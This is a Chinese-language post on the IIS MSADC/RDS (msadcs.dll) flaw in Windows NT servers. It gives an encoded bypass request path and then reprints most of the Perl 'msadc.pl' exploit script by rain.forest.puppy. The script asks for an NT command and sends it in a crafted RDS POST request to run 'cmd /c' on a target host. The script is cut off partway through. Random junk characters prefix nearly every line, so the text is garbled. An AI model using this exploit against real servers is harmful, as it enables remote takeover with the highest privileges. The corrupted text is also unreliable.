IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
rL/e J<4egk4 涉及程序:
E8=8OX/{Y Microsoft NT server
u'BuZF
:"4Pr/}rT 描述:
"A6T'nOP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]_ WB^ _z$lg]q 详细:
9j;L- 如果你没有时间读详细内容的话,就删除:
"X }@VT= c:\Program Files\Common Files\System\Msadc\msadcs.dll
l"#}g%E 有关的安全问题就没有了。
L-T3{I,3 lnk`D(>W 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Gz9w1[t `N69xAiy 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
A1A/OU<Vb 关于利用ODBC远程漏洞的描述,请参看:
?Q]{P] Gx]J6Z8 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i]@QxzCSF D~i m1h;> 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
8 N5ga http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q8kdX6NMd& YGj3W.eH 这里不再论述。
Rt[zZv t'@qb~sf 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
!u0qF!/W lo%:$2*'p /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Wx<fD() 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
^" EsBt KAucSd` jJxV)AIY #将下面这段保存为txt文件,然后: "perl -x 文件名"
JToc("V &GC`4!H #!perl
dvAvG.;U #
w K_I" # MSADC/RDS 'usage' (aka exploit) script
"AzA|zk')" #
KfO$bmwmx # by rain.forest.puppy
8d90B9 #
&{Zt(%\ ' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
fg mIx # beta test and find errors!
i+2fWi6Z+ -xc*R%k use Socket; use Getopt::Std;
B|~tW21 getopts("e:vd:h:XR", \%args);
{q[l4_ <9]9; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8KQ]3Z9p us2X:X) if (!defined $args{h} && !defined $args{R}) {
'n9<z)/,! print qq~
nnV(MB4z1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
kXmnLxhS/ -h <host> = host you want to scan (ip or domain)
hf/6VlZ -d <seconds> = delay between calls, default 1 second
t_-1sWeA! -X = dump Index Server path table, if available
G/2| *H -v = verbose
_\9|acFT2O -e = external dictionary file for step 5
5w\>Whbd ;<JyA3i^V, Or a -R will resume a command session
nty^De% meHnT9a^ ~; exit;}
b>B.3E\Pc dc.o K4G} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:Kl~hzVSOa if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
JP2zom if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|6%B2I&c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
'Y
ZYRFWXM $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
FJ|6R( T_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
cK;,=\ pohA??t2: if (!defined $args{R}){ $ret = &has_msadc;
SD "' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7>Af"1$g u*I=. print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(~R [K,G . "cmd /c ";
s)=fs#% $in=<STDIN>; chomp $in;
(8(7:aE$ $command="cmd /c " . $in ;
Hl,.6>F? H8V${&!ho if (defined $args{R}) {&load; exit;}
k* ayzg3F> lzQmD/i* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
. C g2Y &try_btcustmr;
1keH 1[ FCC9Ht8U? print "\nStep 2: Trying to make our own DSN...";
}/ p>DMN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
9t.u9C=!F qP"+SVqC print "\nStep 3: Trying known DSNs...";
hPs7mnSW &known_dsn;
eY)JuJ? ,cbCt print "\nStep 4: Trying known .mdbs...";
-R^OYgF &known_mdb;
u~|D;e x<m{B@3T if (defined $args{e}){
t:DZow print "\nStep 5: Trying dictionary of DSN names...";
dE<}X7J% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
r[
UZHX5+S Sn I-dXNF print "Sorry Charley...maybe next time?\n";
i@=0fHiZQ exit;
i`]-rM%J# y;)j ##############################################################################
wUGSM"~
| #1INOR9 sub sendraw { # ripped and modded from whisker
5BSh`r sleep($delay); # it's a DoS on the server! At least on mine...
uM!$`JN my ($pstr)=@_;
F~;G[6} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-6URM`y'j die("Socket problems\n");
G:W4<w if(connect(S,pack "SnA4x8",2,80,$target)){
u&q RK>wLa select(S); $|=1;
.?L&k|wX- print $pstr; my @in=<S>;
.eg?FB'7 select(STDOUT); close(S);
d|^cKLu return @in;
0b)^#+ } else { die("Can't connect...\n"); }}
FT*OF 3 ,_STt) ##############################################################################
tE i-0J E?{{z4 sub make_header { # make the HTTP request
?;s}GpEY: my $msadc=<<EOT
njbEw4nX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
hJrcy!P<a User-Agent: ACTIVEDATA
q
.[hwm Host: $ip
%^e~;i=2 Content-Length: $clen
[0M2`x4` Connection: Keep-Alive
4fK(<2i MIblx ADCClientVersion:01.06
^6tcB* #A Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
l98.Hb7 huMNt6P[ --!ADM!ROX!YOUR!WORLD!
AS 5\X.%L* Content-Type: application/x-varg
_|VWf 8?\ Content-Length: $reqlen
*Y4h26 I9sx*' EOT
85>WK+= ; $msadc=~s/\n/\r\n/g;
i%1ny`Q return $msadc;}
5Ocd2T' +(v<_#wR- ##############################################################################
_/@VV5Mq F\' ^DtB sub make_req { # make the RDS request
N!7r~B
my ($switch, $p1, $p2)=@_;
.AEOf0t my $req=""; my $t1, $t2, $query, $dsn;
ZG=B'4W h/I'9&J>* if ($switch==1){ # this is the btcustmr.mdb query
I!
s&m%s $query="Select * from Customers where City=" . make_shell();
.~)[> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
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